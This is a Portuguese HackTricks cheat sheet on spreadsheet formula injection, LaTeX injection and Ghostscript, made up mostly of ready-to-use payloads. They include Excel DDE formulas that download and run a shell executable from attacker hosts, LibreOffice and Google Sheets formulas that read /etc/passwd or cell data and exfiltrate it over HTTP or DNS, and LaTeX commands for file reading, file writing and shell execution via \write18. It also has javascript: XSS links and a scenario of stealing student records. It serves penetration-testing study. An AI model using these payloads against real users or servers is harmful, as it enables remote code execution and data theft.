13 KiB
Injeção de Fórmula/CSV/Doc/LaTeX/GhostScript
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios do HackTricks e HackTricks Cloud no github.
Encontre vulnerabilidades que importam mais para que você possa corrigi-las mais rápido. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos web e sistemas em nuvem. Experimente gratuitamente hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
Injeção de Fórmula
Informações
Se a sua entrada está sendo refletida dentro de arquivos CSV (ou qualquer outro arquivo que provavelmente será aberto pelo Excel), você pode ser capaz de inserir fórmulas do Excel que serão executadas quando o usuário abrir o arquivo ou quando o usuário clicar em algum link dentro da planilha do Excel.
{% hint style="danger" %} Atualmente, o Excel alertará (várias vezes) o usuário quando algo for carregado de fora do Excel para preveni-lo de ações maliciosas. Portanto, um esforço especial em Engenharia Social deve ser aplicado ao payload final. {% endhint %}
Lista de Palavras
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
Hyperlink
O exemplo a seguir é muito útil para exfiltrar conteúdo da planilha final do Excel e realizar solicitações para locais arbitrários. No entanto, requer que o usuário clique no link (e aceite os avisos de segurança).
Exemplo retirado de https://payatu.com/csv-injection-basic-to-exploit
Vamos assumir um cenário de ataque no sistema de Gerenciamento de Registros de Estudantes de uma escola. O aplicativo permite que o professor insira detalhes dos alunos na escola. O atacante obtém acesso ao aplicativo e quer que todos os professores que usam o aplicativo sejam comprometidos. Então, o atacante tenta realizar um ataque de injeção de CSV por meio do aplicativo web. O atacante precisa roubar detalhes de outros alunos. Então, ele usa a fórmula Hyperlink e a insere ao digitar os detalhes do aluno.
Quando o professor exporta o CSV e clica no hyperlink, os dados sensíveis são enviados para o servidor do atacante.
O arquivo CSV exportado contém um payload malicioso.
Os detalhes do aluno são registrados no servidor web do atacante.
RCE
Para que este exemplo funcione, é necessário habilitar a seguinte configuração:
Arquivo → Opções → Central de Confiabilidade → Configurações da Central de Confiabilidade → Conteúdo Externo → Habilitar Inicialização do Servidor de Troca Dinâmica de Dados
ou o uso de uma versão antiga do Excel.
A boa notícia é que este payload é executado automaticamente quando o arquivo é aberto (se o usuário aceitar os avisos).
É possível executar uma calculadora com o seguinte payload =cmd|' /C calc'!xxx
Mais
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
LFI
LibreOffice Calc
- Isto lerá a 1ª linha do arquivo local /etc/passwd:
='file:///etc/passwd'#$passwd.A1
- Ex-filtrar:
=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))
- Ex-filtrar mais de uma linha:
=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
- Exfiltração DNS:
=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))
Analisando o payload de exfiltração DNS:
- ‘file:///etc/passwd’#$passwd.A19 – Lerá a 19ª linha do arquivo local /etc/passwd
- ENCODEURL(‘file:///etc/passwd’#$passwd.A19) – Codifica a URL dos dados retornados
- MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41) – Semelhante a substring, lê dados do 1º ao 41º caractere – uma maneira muito útil de restringir o comprimento dos hostnames DNS (limite de 254 caracteres em FQDN e 63 caracteres para um rótulo, ou seja, subdomínio)
- SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“) – substitui todas as instâncias de % (o caractere especial da codificação de URL) por traço – isso garante que apenas caracteres DNS válidos sejam usados
- CONCATENATE((SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“)),”.<FQDN>”) – Concatena a saída do arquivo (após o processamento acima) com o FQDN (para o qual temos acesso ao host que é autoritativo para o domínio)
- WEBSERVICE – Fará uma solicitação para este nome DNS inexistente que podemos então analisar os logs (ou executar tcpdump etc.) no servidor de nome DNS autoritativo para o qual temos controle
Exfiltração de Dados OOB no Google Sheets
Primeiramente, vamos introduzir algumas das funções mais interessantes.
CONCATENATE: Anexa strings uma à outra.
=CONCATENATE(A2:E2)
IMPORTXML: Importa dados de vários tipos de dados estruturados, incluindo XML, HTML, CSV, TSV e feeds XML RSS e ATOM.
=IMPORTXML(CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
IMPORTFEED: Importa um feed RSS ou ATOM.
=IMPORTFEED(CONCAT("http://[remote IP:Port]//123.txt?v=", CONCATENATE(A2:E2)))
IMPORTHTML: Importa dados de uma tabela ou lista dentro de uma página HTML.
=IMPORTHTML (CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
IMPORTRANGE: Importa um intervalo de células de uma planilha especificada.
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
IMAGE: Insere uma imagem em uma célula.
=IMAGE("https://[remote IP:Port]/images/srpr/logo3w.png")
Injeção LaTeX
Geralmente, os servidores que você encontrará na internet que convertem código LaTeX em PDF usam pdflatex
.
Este programa utiliza 3 principais atributos para (des)permitir a execução de comandos:
--no-shell-escape
: Desabilita a construção\write18{command}
, mesmo que esteja habilitada no arquivo texmf.cnf.--shell-restricted
: Igual a--shell-escape
, mas limitado a um conjunto 'seguro' de comandos pré-definidos (**No Ubuntu 16.04 a lista está em/usr/share/texmf/web2c/texmf.cnf
).--shell-escape
: Habilita a construção\write18{command}
. O comando pode ser qualquer comando do shell. Esta construção normalmente é proibida por razões de segurança.
No entanto, existem outras maneiras de executar comandos, então para evitar RCE é muito importante usar --shell-restricted
.
Ler arquivo
Você pode precisar ajustar a injeção com invólucros como [ ou $.
\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
Ler arquivo de linha única
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
Ler arquivo de múltiplas linhas
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
Escrever arquivo
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
Execução de comando
A entrada do comando será redirecionada para stdin, use um arquivo temporário para obtê-la.
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
Se você receber algum erro de LaTex, considere usar base64 para obter o resultado sem caracteres ruins.
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}
Cross Site Scripting
De @EdOverflow
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
Injeção Ghostscript
TODO: Criar um resumo com as informações e técnicas mais relevantes de https://blog.redteam-pentesting.de/2023/ghostscript-overview/
Referências
- https://notsosecure.com/data-exfiltration-formula-injection-part1
- https://0day.work/hacking-with-latex/
- https://salmonsec.com/cheatsheet/latex_injection
- https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/
Encontre vulnerabilidades que importam mais para que você possa corrigi-las mais rápido. Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos web e sistemas em nuvem. Experimente gratuitamente hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas dicas de hacking enviando PRs para os repositórios github HackTricks e HackTricks Cloud.